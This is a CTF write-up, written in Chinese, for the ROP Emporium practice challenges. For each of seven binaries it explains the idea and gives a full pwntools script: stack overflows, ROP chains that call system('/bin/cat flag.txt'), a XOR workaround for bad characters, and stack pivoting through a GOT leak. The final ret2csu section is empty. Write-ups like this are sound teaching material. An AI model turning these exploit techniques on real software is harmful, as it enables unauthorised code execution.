---
# System prepended metadata

title: Writeup —【ROP Emporium】

---

#  Writeup —【ROP Emporium】
題目網址：https://ropemporium.com/index.html

---

## Challenge 01： ret2win

### 題目：
1. 讓我們可以輸入
2. 結束

### 想法：
在輸入地方，由於可以輸入 56 Bytes，但它其實只有 32 Bytes，所以可以往上蓋。
把 RBP 蓋掉，RIP 蓋成我們要的位置。

### shell.py
```
from pwn import *
context.arch = "amd64"

sh = process("./ret2win")

shcode = b'a'*32 + b'b'*8 + p64(0x400756)

sh.sendafter(b"> ", shcode)

sh.interactive()
```

---

## Challenge 02： split

### 題目：
1. 讓我們可以輸入
2. 結束

### 想法：
跟上一題有點像，但是他的 function 裡面沒有 system("/bin/sh")。

我們可以找裡面的 string：

    rabin2 -z split

然後我們可以再 GDB 裡面找到 "/bin/cat flag.txt" 的位置

    pwndbg> search /bin/cat

因此，我們需要的，是一個 pop edi; ret; 的指令
※ edi 是 system 要 call 的參數位置

可以使用 ROPchain：

    ROPchain --file=split --only "pop | ret" | grep rdi

就會找到一個地方

我們就可以把本來要 pop RIP 的位置放它
再上面就放 "/bin/cat flag.txt" 再放 call system 位置

### shell.py
```
from pwn import *
context.arch = "amd64"

sh = process("./split")

shcode = b'a'*32 + b'b'*8
shcode += p64(0x04007c3)        # pop edi; ret;
shcode += p64(0x0601060)        # "/bin/cat flag.txt"
shcode += p64(0x040074b)        # CALL <EXTERNAL>::system

sh.sendafter(b"> ", shcode)

sh.interactive()
```

---

## Challenge 03： callme

### 題目：
1. 讓我們可以輸入
2. 結束

### 想法：
一樣例行動作，file 它、checksec它、seccomp-tools它、rabin2它

我們利用 rabin2 找裡面的 string，但是沒有什麼好用的

那用 rabin2 -i 找一下裡面 import 的東西
    
    rabin2 -i callme
    
發現有 callme_one、callme_two、callme_three，並且記下它的位置
然後去看這三個的 function，發現它有三個參數，並且分別是 rdi、rsi、rdx

可以使用 ROPchain：

    ROPchain --file=callme --only "pop | ret" | grep rdi

就會找到一個地方有我們要的

    pop rdi; pop rsi; pop rdx; ret;

我們就可以把本來要 pop RIP 的位置放它
再上面就放題目規定的三個參數值，再放要 call 的位置
並且重複三次（因為有 callme_one、callme_two、callme_three）

### shell.py
```
from pwn import *
context.arch = "amd64"

sh = process("./callme")

shcode = b'a'*32 + b'b'*8

# set callme_one()
shcode += p64(0x040093c)             # pop rdi, rsi, rdx, ret
shcode += p64(0xdeadbeefdeadbeef)    # rdi
shcode += p64(0xcafebabecafebabe)    # rsi
shcode += p64(0xd00df00dd00df00d)    # rdx
shcode += p64(0x400720)              # call callme_one

# set callme_two()
shcode += p64(0x040093c)             # pop rdi, rsi, rdx, ret
shcode += p64(0xdeadbeefdeadbeef)    # rdi
shcode += p64(0xcafebabecafebabe)    # rsi
shcode += p64(0xd00df00dd00df00d)    # rdx
shcode += p64(0x400740)              # call callme_two

# set callme_three()
shcode += p64(0x040093c)             # pop rdi, rsi, rdx, ret
shcode += p64(0xdeadbeefdeadbeef)    # rdi
shcode += p64(0xcafebabecafebabe)    # rsi
shcode += p64(0xd00df00dd00df00d)    # rdx
shcode += p64(0x4006f0)              # callme_three

sh.sendlineafter(b"> ", shcode)

sh.interactive()
```

---

## Challenge 04： write4

### 題目：
1. 讓我們可以輸入
2. 結束

### 想法：
一樣例行動作，file 它、checksec它、seccomp-tools它、rabin2它
我們找了一下，發現它是要 print 出 flag.txt

因此，我們的目標很值觀，將參數改為 flag.txt，並且 print_file()

所以我們要做的事情就是，找可以存 flag.txt 的地方以及方法

可以用 radare2 來找符合可寫的地方

    iS

我們可以在 bss 段的隨便地方配合 mov [reg], reg; ret; 來放入資料

之後，配合它的 print_file()，需要將值丟給 rdi，因此我們還需要 pop rdi; ret;

最後就 call print_file 就好了。

### shell.py
```
from pwn import *
context.arch = "amd64"

sh = process("./write4")

shcode = b'a'*32 + b'b'*8

shcode += p64(0x0400690)     # pop r14; pop r15; ret;
shcode += p64(0x0601038)     # r14 = any bss_address
shcode += b"flag.txt"        # r15 = flag.txt
shcode += p64(0x0400628)     # mov qword ptr [r14], r15; ret;
shcode += p64(0x0400693)     # pop rdi; ret;
shcode += p64(0x0601038)     # bss_address where I wrote flag.txt
shcode += p64(0x0400620)     # call print_file in usefulFunction

sh.sendlineafter(b"> ", shcode)
    
sh.interactive()
```

---

## Challenge 05： badchars

### 題目：
1. 讓我們可以輸入
2. 檢查機制判斷
3. 結束

### 想法：
跟上一題類似，但是這題多加了檢查字串機制，讓我們無法輸入「x」、「g」、「a」、「.」。
因此，我們勢必無法輸入「flag.txt」，必須繞過它。

我們可以找到一個 xor byte ptr [r15], r14;
這給我們一個方向，可以先 XOR 字串，讓它檢查完，再 XOR 回來，值不會變動。

所以一樣，把值丟到隨便一個 bss 段，然後 call print_file。
只是中間多了一部份，就是要把字串再 XOR 回來。

重點注意：它的 XOR 只能一個 Byte 一個 Byte 去 XOR，所以要作迴圈去完成它。

### shell.py
```
from pwn import *
context.arch = "amd64"

sh = process("./badchars")

texts = b"flag.txt"
xor_num = 3
xor_text = xor(texts, xor_num)

shcode = b'a'*32 + b'b'*8

# write the XORed text into bss
shcode += p64(0x040069c)            # pop r12; pop r13; pop r14; pop r15; ret;
shcode += xor_text                  # r12 = XORed_text
shcode += p64(0x0601038)            # r13 = any place in bss
shcode += p64(0x00)                 # r14 = 0
shcode += p64(0x00)                 # r15 = 0
shcode += p64(0x0400634)            # mov qword ptr [r13], r12; ret;

# XOR the XORed text to turn it back
for i in range(len(xor_text)):
    shcode += p64(0x04006a0)        # pop r14; pop r15; ret;
    shcode += p64(xor_num)          # r14 = 3
    shcode += p64(0x0601038 + i)    # r15 = the place we wrote the text into in bss
    shcode += p64(0x0400628)        # xor byte ptr [r15], r14; ret;

# Call print_file
shcode += p64(0x04006a3)            # pop rdi; ret;
shcode += p64(0x0601038)            # rdi = the place we wrote the text into in bss
shcode += p64(0x0400620)            # call print_file()

sh.sendlineafter(b"> ", shcode)

sh.interactive()
```

---

## Challenge 06： fluff

### 題目：
1. 讓我們可以輸入
2. 結束

### 想法：
查一下使用的 function：

    info function

可以找到一個 questionableGadget
裡面有一些根本不知道的東西，可以查一下：

    1> stosb byte [rdi], al
    
    把 al 的值存放到 rdi 指到的位置
    值得注意的是，它會同時增加 rdi（下一個）
    
    ※所以如果我們想要控制 [rdi]，我們就要控制 al
[解釋資源1>](https://www.felixcloutier.com/x86/stos:stosb:stosw:stosd:stosq)

    2> xlat
    
    把 al 設為 rbx + al 所指到的地方
    可以想成是 mov al, [rbx + al]
    
    ※所以如果我們想要控制 al，我們就也要控制 rbx
[解釋資源2>](https://www.felixcloutier.com/x86/xlat:xlatb)

    3> bextr rbx, rcx, rdx
    
    rcx：被提取值
    rdx：第  7:0 bits 為提取的起始位置
         第 15:8 bits 為 Length。
    rbx：存放提取結果
    其實就是作偏移
    
    ※所以如果我們想要控制 rbx，我們就要控制 rcx、rdx
[解釋資源3>](https://www.felixcloutier.com/x86/bextr)

所以我們要做的事情就是找到 [ f l a g . t x t] 的個別位置，然後要減去 al 值，再減去 0x3ef2
之後每個字元都做一次，就可以依序在 rdi 的地方開始放入 flag.txt
最後，在 rdi 那個位置開始 print_file

### shell.py
```
from pwn import *
context.arch = "amd64"

sh = process("./fluff")
elf = ELF("./fluff")

texts = b"flag.txt"
the_al = 0xb                                      # the first al

shcode = b'a'*32 + b'b'*8

# set the rdi point to an address in .data
shcode += p64(0x04006a3)                          # pop rdi
shcode += p64(0x0601028)                          # data address

for i in texts:
    # contral rbx (bextr)
    char_address = next(elf.search(i))            # find where the char is in ELF
    shcode += p64(0x040062a)                      # pop rdx; pop rcx; add rcx, 0x3ef2; bextr rbx, rcx, rdx; ret;
    shcode += p64(0x4000)                         # rdx
    shcode += p64(char_address-0x3ef2-the_al)     # rcx
    
    # contral al (xlat)
    shcode += p64(0x0400628)                      # xlat BYTE PTR ds:[rbx]; ret;
    
    # contral [rdi] (stos)
    shcode += p64(0x0400639)                      # stos BYTE PTR es:[rdi], al; ret;
    the_al = i                                    # set the al to the last al

shcode += p64(0x04006a3)                          # pop rdi
shcode += p64(0x0601028)                          # data address
shcode += p64(0x0400620)                          # print_file address

sh.sendlineafter(b"> ", shcode)

sh.interactive()
```

---

## Challenge 07： pivot

### 題目：
1. 輸出一個位置
2. 讓我們可以輸入第一次
3. 讓我們可以輸入第二次
4. 結束

### 想法：
一開始，題目會輸出一個位置，發現這個位置就是我們輸入的位置。
但是我們發現，它第一次的輸入有 256 Bytes，然而第二次只有 64 Bytes，可能不夠我們寫。
因此，我們要想辦法利用這個已知位置存放要用的 ROP-chain，然後在之後再回來這個位置。

檢查 usefulGadget：

    0x00000000004009bb <+0>:     pop    rax
    0x00000000004009bc <+1>:     ret
    0x00000000004009bd <+2>:     xchg   rsp,rax
    0x00000000004009bf <+4>:     ret
    0x00000000004009c0 <+5>:     mov    rax, QWORD PTR [rax]
    0x00000000004009c3 <+8>:     ret
    0x00000000004009c4 <+9>:     add    rax, rbp
    0x00000000004009c7 <+12>:    ret
    0x00000000004009c8 <+13>:    nop    DWORD PTR [rax+rax*1+0x0]

我們發現有一個可以交換 rsp 和 rax 的指令，可以交換後，用來回去執行第一次輸入的東西。

※ **小知識**：
:::info

GOT[0]：這個 ELF .dynamic 段的位置
    
GOT[1]：這個 ELF 的 link_map 數據結構描述符位置
（編譯時為 0 ）
作用：結合 .rel.plt 段的偏移量，才能真正找到這個 elf 的 .rel.plt
    
GOT[2]：_dl_runtime_resolve 函數的位置
（編譯時為 0 ）
作用：得到真正的函數位置，寫回到對應的 GOT 表位置中。

:::

:::info

在 _dl_runtime_resolve 之後，會將真正的函數位置，寫回到 got[n]（n>=3）中。
在函數被第一次調用時，才通過連接器動態解析並載入到 .got.plt 中，而這個過程稱之為延時載入或者惰性載入。
當第二次調用同一個函數的時候，就不會與第一次一樣那麼麻煩，因為 got[n] 中已經有了真實位置，直接 jmp 這個位置就可以了。

:::

因此，我們可以先 call foothold_function 來載入（或者說更新）他的 GOT 表
並且透過 pop rax、mov rax, [rax] 來把 foothold_function 的真正位置拉出來，加上與 ret2win() 的相差位置來推算出 ret2win() 的真正位置，就可以透過 call rax 來 call ret2win() 了！

### shell.py
```
from pwn import *
context.arch = "amd64"

sh = process("./pivot")
elf = ELF("./pivot")
libc = ELF("libpivot.so")

# to get the first-time-read address
sh.recvuntil(b"pivot: 0x")
now_address = sh.recvline().strip().rjust(16, b'0')
now_address = int(now_address, 16)

# use GOT to know the foothold_function function real address
foothold_function_plt = elf.plt[b"foothold_function"]
foothold_function_got_plt = elf.got[b"foothold_function"]

# to know how much we should add to find the ret2win function real address
foothold_function_sym = libc.sym[b"foothold_function"]
ret2win_sym = libc.sym[b"ret2win"]
offset = ret2win_sym - foothold_function_sym

# the first time read
# to call ret2win()
shcode_1 = p64(foothold_function_plt)          # call foothold_function
shcode_1 += p64(0x04009bb)                     # pop rax; ret;
shcode_1 += p64(foothold_function_got_plt)
shcode_1 += p64(0x04009c0)                     # mov rax, QWORD PTR [rax]; ret;
shcode_1 += p64(0x04007c8)                     # pop rbp; ret;
shcode_1 += p64(offset)                        # set rbp to offset
shcode_1 += p64(0x04009c4)                     # add rax, rbp; ret;
shcode_1 += p64(0x04006b0)                     # call rax;

sh.sendlineafter(b"> ", shcode_1)

# the second time read
# to go back to the first-time-read rsp
shcode_2 = b'a'*32 + b'b'*8
shcode_2 += p64(0x04009bb)                     # pop rax; ret;
shcode_2 += p64(now_address)
shcode_2 += p64(0x04009bd)                     # xchg rsp, rax; ret;

sh.sendlineafter(b"> ", shcode_2)

sh.interactive()
```

---

## Challenge 08： ret2csu

### 題目：


### 想法：

### shell.py
```

```

---